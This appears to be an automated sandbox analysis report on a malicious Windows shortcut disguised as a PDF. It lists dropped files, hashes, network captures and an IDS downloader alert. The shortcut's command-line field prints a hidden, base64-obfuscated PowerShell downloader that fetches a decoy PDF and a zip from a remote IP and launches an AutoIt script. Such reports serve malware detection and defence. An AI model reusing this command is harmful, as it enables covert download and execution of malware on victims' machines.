Version=10.0.19045.1"..SessionID=844b4966-7067-4947-a803-9a9f70619816.1732039872074 Timestamp=2024-11-19T13:11:12:075-0500 ThreadID=4676 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.404214431540506
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbdcbiI0ucbZ:ceo4+rsC40l
MD5:	2E642BCF71AD9C6F421C731A7328EABA
SHA1:	2BCB08D78708AF0058101A08C2A73A6884F93820
SHA-256:	032D2A2ED30968B1494D0DCFBA024C26039F7AD5374CF1F6629FF6D3F7C58847
SHA-512:	BC270CDF3B0EAA6798030D978EB3C26C957F48572D19E0D973BD5399B73651165B22A29121F911A97846062BFFF8CBD5DBA2895DE94C2BFA13DCC7EC42E66F66
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\036632e1-1861-4f21-b384-44c930bda892.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\409bb123-804d-4b70-ac99-22a639541ef2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\712d0de8-0c31-4ddc-9819-7ad9e4f3b121.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\e8e72f5f-6b2c-458e-b726-d41c9df7fd2b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Roaming\vmapi.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.4, 5 pages
Category:	dropped
Size (bytes):	65971
Entropy (8bit):	7.904584719570463
Encrypted:	false
SSDEEP:	1536:GwddVxzCrzP9CjjK2LWd8FuTE/gqNj97/XYiX9K5fos+:vddVxzCdCdCdNqfbXAhos+
MD5:	26AE58D43D6945DF7F8FFB82CBE9E001
SHA1:	D044262AB8F2E26A5D1A45D51046B3ADEF2F52A3
SHA-256:	247ED9890E1FA5E9E059E2F2E077F2D4941EDF9416C5016C6AFE11523642E867
SHA-512:	C441B43A91E2CF40662CDE6B2E31EFDF4A2338FB33AE6B37535A1460ED09A1B72A26CD69C1ED79C351FA6AC54218D933C072FBC3886BCA0196D1A753375CC078
Malicious:	false
Preview:	%PDF-1.4.%.....1 0 obj.<</Title (VidaMarkets)./Producer (Skia/PDF m132 Google Docs Renderer)>>.endobj.3 0 obj.<</ca 1./BM /Normal>>.endobj.7 0 obj.<</N 3./Filter /FlateDecode./Length 296>> stream.x.}..J.`...kA..A.....\..h....X\[.V.4M..........&...e(....%...o.$.....{x./.@$.*..N.s..Q...S.L..eZ}....K.}^.'7...v...!y...'...V..>......s<...^.(....F.>....7.V.=...f...WtV.%J..-..S.#LQ."..'IB. EN..Py.zfISP..Y..H).........@..&/C.~....{..e.6........1]shE.H....0W..'.9.].Y.?.....bM..4..?..K..endstream.endobj.5 0 obj.<</Type /XObject./Subtype /Image./Width 800./Height 800./ColorSpace [/ICCBased 7 0 R]./SMask 6 0 R./BitsPerComponent 8./Filter /FlateDecode./Length 9987>> stream.x....%...~.G..<9.xr..P..FMs...53W..<..U+j}$.........?...p..~....C...?CF{...?I,...X2.O...mf...$.G..Q...?P.=.L..f.O.>I,...H.W..G..>.Ibq }E..".=.....$.G.W$.+B..L..!.8.."A_...mf..O....+...!..f.O.X<I_....i.63}.W..'.+...!..f.W.Jb..}E..".=...V_I,...H.W..G....+..c.......h3..}%.x.."A_...mf...$...W$.+B..L.........}EH{.

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Thu Nov 14 16:00:32 2024, mtime=Mon Nov 18 14:07:07 2024, atime=Thu Nov 14 16:00:32 2024, length=245760, window=hidenormalshowminimized
Entropy (8bit):	1.0266391246292805
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	Integration.pdf www.skype.com.lnk
File size:	14'931 bytes
MD5:	b9a147ecb1b7fa4dd90a38cb24af92ad
SHA1:	cd0df36b588951b7f3cfcfe71a4407ae5cb9f5ee
SHA256:	50ab6b830ae08cd98703d057bf79e16b4fff71c4cc1a1a9c74ab3fa528c20711
SHA512:	8976bf63d39ef1459246ae5be9e5028826427a29b91a2313042b5824395ae2a22149db0f1d0d534b3aa32997df82c79188f2e1952b8ba90c02974bb8153cbc75
SSDEEP:	48:8UefMwKGA2ABREv2Iu9iEKU6jlKY4sBqISAN:8DfbKG9ABXKUAl7D
TLSH:	6362EF303EEA112CF5F78F707DF879E9EA6ABA726915596F0005070E0912A40DE15B3E
File Content Preview:	L..................F.... ........6..Q....9..+....6..........................5....P.O. .:i.....+00.../C:\...................V.1.....rYoR..Windows.@........T,rYQx....\|.........................W.i.n.d.o.w.s.....Z.1.....rY.h..System32..B........T,rYmz...._.

File Icon


Icon Hash:	74ecccdcd6c9c9fd

Static Windows Shortcut Info

General
Relative Path:
Command Line Argument:	/c powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGE9W1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ0FwcGxpY2F0aW9uRGF0YScpDQpJbnZva2UtV2ViUmVxdWVzdCAnaHR0cDovLzIuNTguNTYuMjQzL3ZtYXBpLnBkZicgLU91dEZpbGUgIiRhcHBkYXRhXHZtYXBpLnBkZiI7IFN0YXJ0LVByb2Nlc3MgIiRhcHBkYXRhXHZtYXBpLnBkZiINCiMgUE9SVFVHQUwNCkludm9rZS1XZWJSZXF1ZXN0ICdodHRwOi8vMi41OC41Ni4yNDMva2dodHllZC56aXAnIC1PdXRGaWxlICIkYXBwZGF0YVxrZ2h0eWVkLnppcCINCiMgUE9SVFVHQUwgRlJBTkNFDQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQpbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpFeHRyYWN0VG9EaXJlY3RvcnkoIiRhcHBkYXRhXGtnaHR5ZWQuemlwIiwgJGFwcGRhdGEpDQpTdGFydC1Qcm9jZXNzICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSIgIiRhcHBkYXRhXHNjcmlwdC5hM3giDQojIFBPUlRVR0FMIEJSQUJVUw0K')) \| Invoke-Expression"
Icon location:	.\Document.pdf

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-19T19:11:09.155729+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49704	2.58.56.243	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 19, 2024 19:11:07.754373074 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:07.759378910 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:07.759478092 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:07.763181925 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:07.767980099 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.369275093 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.369299889 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.369312048 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.369380951 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.369390011 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.369401932 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.369415045 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.369426012 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.369457960 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.369472980 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.369525909 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.369592905 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.369651079 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.369663954 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.369699955 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.374861002 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.374881983 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.374895096 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.374907017 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.374931097 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.374965906 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.457746029 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.458115101 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.458169937 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.458178043 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.458189964 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.458199978 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.458210945 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.458245039 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.458268881 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.458512068 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.458523035 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.458528996 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.458622932 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.458630085 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.458641052 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.458672047 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.459361076 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.459381104 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.459391117 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.459414959 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.459444046 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.459736109 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.459783077 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.459793091 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.459821939 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.459858894 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.459870100 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.459898949 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.460592031 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.460608959 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.460619926 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.460654974 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.460679054 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.460689068 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.460700035 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.460757017 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.463223934 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.463283062 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.463386059 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.547416925 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.547432899 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.547446012 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.547478914 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.547489882 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.547496080 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.547537088 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.547590017 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.547600985 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.547612906 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.547627926 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.547657013 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.547694921 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.547705889 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.547751904 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.547776937 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.547787905 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.547797918 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.547807932 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.547817945 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.547833920 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.547858953 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.548077106 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.548089027 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.548115015 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.548330069 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.548341036 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.548352003 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:08.548377991 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.548389912 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.905462027 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:08.918508053 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:09.110213041 CET	80	49704	2.58.56.243	192.168.2.8
Nov 19, 2024 19:11:09.155729055 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:10.635390043 CET	49704	80	192.168.2.8	2.58.56.243
Nov 19, 2024 19:11:23.159869909 CET	49722	443	192.168.2.8	96.17.64.171
Nov 19, 2024 19:11:23.159970045 CET	443	49722	96.17.64.171	192.168.2.8
Nov 19, 2024 19:11:23.160051107 CET	49722	443	192.168.2.8	96.17.64.171
Nov 19, 2024 19:11:23.160319090 CET	49722	443	192.168.2.8	96.17.64.171
Nov 19, 2024 19:11:23.160365105 CET	443	49722	96.17.64.171	192.168.2.8
Nov 19, 2024 19:11:24.723356009 CET	443	49722	96.17.64.171	192.168.2.8
Nov 19, 2024 19:11:24.730705976 CET	49722	443	192.168.2.8	96.17.64.171
Nov 19, 2024 19:11:24.730772018 CET	443	49722	96.17.64.171	192.168.2.8
Nov 19, 2024 19:11:24.734414101 CET	443	49722	96.17.64.171	192.168.2.8
Nov 19, 2024 19:11:24.734482050 CET	49722	443	192.168.2.8	96.17.64.171
Nov 19, 2024 19:11:24.795006990 CET	49722	443	192.168.2.8	96.17.64.171
Nov 19, 2024 19:11:24.795128107 CET	443	49722	96.17.64.171	192.168.2.8
Nov 19, 2024 19:11:24.795368910 CET	49722	443	192.168.2.8	96.17.64.171
Nov 19, 2024 19:11:24.795387983 CET	443	49722	96.17.64.171	192.168.2.8
Nov 19, 2024 19:11:24.896677017 CET	443	49722	96.17.64.171	192.168.2.8
Nov 19, 2024 19:11:24.897945881 CET	49722	443	192.168.2.8	96.17.64.171
Nov 19, 2024 19:11:25.172277927 CET	49722	443	192.168.2.8	96.17.64.171
Nov 19, 2024 19:11:25.172313929 CET	443	49722	96.17.64.171	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 19, 2024 19:11:18.769103050 CET	55376	53	192.168.2.8	1.1.1.1
Nov 19, 2024 19:11:39.914273977 CET	53	60053	162.159.36.2	192.168.2.8
Nov 19, 2024 19:11:40.408663034 CET	49972	53	192.168.2.8	1.1.1.1
Nov 19, 2024 19:11:40.417512894 CET	53	49972	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 19, 2024 19:11:18.769103050 CET	192.168.2.8	1.1.1.1	0xae7e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Nov 19, 2024 19:11:40.408663034 CET	192.168.2.8	1.1.1.1	0x8794	Standard query (0)	15.164.165.52.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 19, 2024 19:11:18.776242971 CET	1.1.1.1	192.168.2.8	0xae7e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 19:11:40.417512894 CET	1.1.1.1	192.168.2.8	0x8794	Name error (3)	15.164.165.52.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

armmf.adobe.com

2.58.56.243

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	2.58.56.243	80	3456	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 19:11:07.763181925 CET	165	OUT	GET /vmapi.pdf HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 2.58.56.243 Connection: Keep-Alive
